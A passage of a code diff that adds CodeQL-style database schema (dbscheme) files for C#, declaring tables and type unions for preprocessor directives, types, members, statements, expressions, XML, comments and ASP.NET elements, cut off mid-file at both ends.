@define_symbol_expr ref, + string name: string ref); + +directive_regions( + unique int id: @directive_region, + string name: string ref); + +#keyset[id, start] +directive_endregions( + unique int id: @directive_endregion, + unique int start: @directive_region ref); + +directive_lines( + unique int id: @directive_line, + int kind: int ref); /* 0: default, 1: hidden, 2: numeric, 3: span */ + +directive_line_value( + unique int id: @directive_line ref, + int line: int ref); + +directive_line_file( + unique int id: @directive_line ref, + int file: @file ref); + +directive_line_offset( + unique int id: @directive_line ref, + int offset: int ref); + +directive_line_span( + unique int id: @directive_line ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +directive_nullables( + unique int id: @directive_nullable, + int setting: int ref, /* 0: disable, 1: enable, 2: restore */ + int target: int ref); /* 0: none, 1: annotations, 2: warnings */ + +directive_warnings( + unique int id: @directive_warning, + string message: string ref); + +directive_errors( + unique int id: @directive_error, + string message: string ref); + +directive_undefines( + unique int id: @directive_undefine, + string name: string ref); + +directive_defines( + unique int id: @directive_define, + string name: string ref); + +pragma_checksums( + unique int id: @pragma_checksum, + int file: @file ref, + string guid: string ref, + string bytes: string ref); + +pragma_warnings( + unique int id: @pragma_warning, + int kind: int ref /* 0 = disable, 1 = restore */); + +#keyset[id, index] +pragma_warning_error_codes( + int id: @pragma_warning ref, + string errorCode: string ref, + int index: int ref); + +preprocessor_directive_location( + unique int id: @preprocessor_directive ref, + int loc: @location ref); + +preprocessor_directive_compilation( + int id: @preprocessor_directive ref, + int compilation: @compilation ref); + +preprocessor_directive_active( + unique int id: @preprocessor_directive ref, + int active: int ref); /* 0: false, 1: true */ + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type +| 34 = @inline_array_type +| 35 = @extension_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type | @void_type | @inline_array_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type | @extension_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extension_receiver_type( + unique int extension: @extension_type ref, + int receiver_type_id: @type_or_ref ref); + +extend( + int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int kind: int ref, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +case @attribute.kind of + 0 = @attribute_default +| 1 = @attribute_return +| 2 = @attribute_assembly +| 3 = @attribute_module +; + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event | @operator; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type | @extension_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, params/array = 3, this = 4, in = 5, ref readonly = 6 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +@has_scoped_annotation = @local_scope_variable + +scoped_annotation( + int id: @has_scoped_annotation ref, + int kind: int ref // scoped ref = 1, scoped value = 2 + ); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +foreach_stmt_info( + unique int id: @foreach_stmt ref, + int kind: int ref /* non-async = 1, async = 2 */); + +@foreach_symbol = @method | @property | @type_or_ref; + +#keyset[id, kind] +foreach_stmt_desugar( + int id: @foreach_stmt ref, + int symbol: @foreach_symbol ref, + int kind: int ref /* GetEnumeratorMethod = 1, CurrentProperty = 2, MoveNextMethod = 3, DisposeMethod = 4, ElementType = 5 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter | @directive_if | @directive_elif; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @utf16_string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +| 130 = @with_expr +/* C# 11.0 */ +| 131 = @list_pattern_expr +| 132 = @slice_pattern_expr +| 133 = @urshift_expr +| 134 = @assign_urshift_expr +| 135 = @utf8_string_literal_expr +/* C# 12.0 */ +| 136 = @collection_expr +| 137 = @spread_element_expr +| 138 = @interpolated_string_insert_expr +/* Preprocessor */ +| 999 = @define_symbol_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@string_literal_expr = @utf16_string_literal_expr | @utf8_string_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_call_expr = @assign_arith_expr | @assign_bitwise_expr +@assign_op_expr = @assign_op_call_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@add_operation = @add_expr | @assign_add_expr; +@sub_operation = @sub_expr | @assign_sub_expr; +@mul_operation = @mul_expr | @assign_mul_expr; +@div_operation = @div_expr | @assign_div_expr; +@rem_operation = @rem_expr | @assign_rem_expr; +@and_operation = @bit_and_expr | @assign_and_expr; +@xor_operation = @bit_xor_expr | @assign_xor_expr; +@or_operation = @bit_or_expr | @assign_or_expr; +@lshift_operation = @lshift_expr | @assign_lshift_expr; +@rshift_operation = @rshift_expr | @assign_rshift_expr; +@urshift_operation = @urshift_expr | @assign_urshift_expr; +@null_coalescing_operation = @null_coalescing_expr | @assign_coalesce_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@bin_arith_operation = @mul_operation | @div_operation | @rem_operation | @add_operation | @sub_operation; + +@incr_operation = @pre_incr_expr | @post_incr_expr; +@decr_operation = @pre_decr_expr | @post_decr_expr; +@mut_operation = @incr_operation | @decr_operation; +@un_arith_operation = @plus_expr | @minus_expr | @mut_operation; +@arith_operation = @bin_arith_operation | @un_arith_operation; + +@ternary_log_operation = @conditional_expr; +@bin_log_operation = @log_and_expr | @log_or_expr | @null_coalescing_operation; +@un_log_operation = @log_not_expr; +@log_operation = @un_log_operation | @bin_log_operation | @ternary_log_operation; + +@bin_bit_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr | @urshift_expr; +@bin_bit_operation = @and_operation | @or_operation | @xor_operation | @lshift_operation + | @rshift_operation | @urshift_operation; +@un_bit_expr = @bit_not_expr; +@un_bit_operation = @un_bit_expr; +@bit_expr = @un_bit_expr | @bin_bit_expr; +@bit_operation = @un_bit_operation | @bin_bit_operation; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@operation_expr = @un_operation | @bin_operation | @ternary_operation; + +@ternary_operation = @ternary_log_operation; +@bin_operation = @assign_expr | @bin_arith_operation | @bin_log_operation | @bin_bit_operation | @comp_expr; +@un_operation = @un_arith_operation | @un_log_operation | @un_bit_operation | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@op_invoke_expr = @operator_invocation_expr | @assign_op_call_expr +@call = @method_invocation_expr | @constructor_init_expr | @op_invoke_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @op_invoke_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr + | @assign_op_call_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +lambda_expr_return_type( + unique int id: @lambda_expr ref, + int type_id: @type_or_ref ref); + +/* Compiler generated */ + +compiler_generated(unique int id: @element ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr | @parameter; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); diff --git a/csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/semmlecode.csharp.dbscheme b/csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..3cabc77473c --- /dev/null +++ b/csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/semmlecode.csharp.dbscheme @@ -0,0 +1,1505 @@ +/* This is a dummy line to alter the dbscheme, so we can make a database upgrade + * without actually changing any of the dbscheme predicates. It contains a date + * to allow for such updates in the future as well. + * + * 2021-07-14 + * + * DO NOT remove this comment carelessly, since it can revert the dbscheme back to a + * previously seen state (matching a previously seen SHA), which would make the upgrade + * mechanism not work properly. + */ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +compilation_info( + int id : @compilation ref, + string info_key: string ref, + string info_value: string ref +) + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | f1.cs + * 3 | f2.cs + * 4 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile.rsp` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll 